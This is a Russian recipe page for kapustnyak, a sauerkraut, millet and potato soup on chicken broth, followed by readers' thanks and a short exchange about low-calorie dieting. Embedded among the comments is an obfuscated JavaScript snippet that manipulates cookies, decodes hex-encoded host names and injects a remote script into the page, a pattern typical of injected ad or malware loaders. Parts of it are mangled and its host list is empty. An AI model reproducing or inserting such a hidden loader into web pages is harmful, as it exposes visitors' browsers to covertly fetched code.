Мой здоровый рацион
Lyuda
11.10.2015 17:00

Капустняк

Калорийность - 64.9 кКал; белки - 2.8 г; жиры - 1.7 г; углеводы - 9.2 г на 100 г.
Ингредиенты
Картофель (Варка без слива) 251 г
Морковь (Пассерование) 38 г
Лук репчатый (Пассерование) 147 г
Пшенная крупа, пшено шлифованное (Варка без слива вязкая) 100 г
Томат вареный 195 г
Перец сладкий красный (Пассерование) 79 г
Чеснок (Варка без слива) 4 г
Жир куриный 15 г
Петрушка, сырая 10 г
Соль поваренная пищевая 5 г
Бульон куриный 1190 г
Капуста белокочанная, квашеная (Варка без слива) 250 г
Общая масса ингредиентов: 2284 г
Масса готового блюда: 2030 г
Время приготовления: 1 ч
Описание
В идеале капустняк хоть запорожский, хоть полтавский варится со свининой и заправляется толченым салом. Мой вариант диетический варился на курином бульоне и зажаривался на курином жире. Но вкусовые качества от этого не пострадали. Капустняк - любимое в моей семье первое блюдо.

  

В бульон всыпать промытое пшено, затем картофель.

Пассеруем лук, морковь, сладкий перец на курином жире.Добавляем томат и продолжаем тушить.

Квашеную капусту  отжать и мелко посечь.

Когда пшено и  картофель сварились, вводим  капусту.

В конце варки добавляем пассеровку, выдавливаем чеснок, петрушку.. Специи  на любителя. У меня лаврушка и душистый перец.
Пошаговая инструкция
Шаг 1.
Шаг 2.
Шаг 3.
Шаг 4.
Шаг 5.
svetlana 11.10.2015 17:31
 2 
спасибо за рецепт

Lyuda 11.10.2015 19:49
 1 
можно со свежей, можно со свежей пополам с квашеной  или с квашеной.

Татьяна дочь Павла 11.10.2015 21:26
 3 
Как то раз были мы на украинской сельской  свадьбе.Столы ломились от яств,всего не перечесть.Подали капустняк. Мои дети ничего не ели ,кроме него.Пришлось идти к поварихам за рецептом.Сейчас сами готовят чудо-капустняк.А готовили его довольно просто:все ингредиенты (капуста квашеная,мясо свинина,томат,лук) варили почти до готовности,добавляли картофель(мяли толкушкой),пшено ,сахар,перец.Вкус винный-кисло-сладкий. Смакота!  

Элина 16.10.2015 23:14
 1 
Класс! Спасибо за рецепт.

Татьяна Стрелкова 17.10.2015 01:08
 1 
:хорошо:

Юлия Д. 17.10.2015 09:54
 2 
Как давно не пробовала этого капустняка, последний раз у бабушки в Украине. Добавила в избранное, обязательно сделаю.

Ирина 17.10.2015 10:01
 1 
Это что-то вкусное, спасибо!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Юлия Д. 17.03.2016 20:33
 1 
Сейчас приготовила по вашему рецепту капустняк по-украински. Получилось очень вкусно.

Марина Март 17.03.2016 20:41
 1 
Спасибо за рецепт.  :хорошо:

Alex_ndra 17.03.2016 21:03
 1 
;) Вкуснятина! Спасибо!

Юлия 17.03.2016 21:20
 1 
Спасибо за рецепт. Буду пробовать!

Lyuda 21.12.2016 11:16
 1 
ЛанаСвет Живая 21.12.2016 11:19
 1 
Спасибо за рецепт!

Lyuda 21.12.2016 14:37
 1 
ЛанаСвет Живая, На здоровье!

ПТашка 21.12.2016 14:40
 1 
здорово  :хорошо:

Виктория 21.12.2016 14:42
 1 
Спасибо за рецепт!

Ольга Богданова 21.12.2016 15:29
 1 
Спасибо за рецепт!)

Lulu S 21.12.2016 18:25
 1 
Спасибо за рецепт!

Lyuda 21.12.2016 18:27
Lulu S,  :rose:

Олег 21.12.2016 22:53
 1 
:хорошо:

svetlana 21.12.2016 23:00
 1 
:хорошо:

Мадам 22.12.2016 00:46
 1 
Вкуснятина-поздно посмотрела ваш капустняк,приготовила сегодня с последней квашеной капусты борщ.Так что после квашения новой порции капусты это блюдо обязательно приготовлю!

Lyuda 22.12.2016 09:25
Нина Родикова 22.12.2016 19:33
 1 
Да,очень вкусно,капусты наквашено полно,так что будем готовить.В каком то Вашем посте,Вы отвечаете,что похудели на 25 кг без физических нагрузок,причем я помню ,что у Вас гипотериоз,Не могу понять ,как Вам это удалось.Я 40 дней на рекомендуемых калориях и никакого сдвига,конечно ни в какие депрессии я не впадаю,не тот возраст,но может Вы что нибудь подскажете.У меня коридор 1067-1100.

Lyuda 22.12.2016 21:55
Очень маленький у Вас коридор!  Голодно наверное?  
Никаких особых секретов у меня нет. Я жестко придерживалась 1200 - 1300 ккал и , обязательно, выпивала норму воды - 2.8л .

Lyuda 12.05.2017 11:19
 1 
:rose: , Олегsvetlana,  :rose: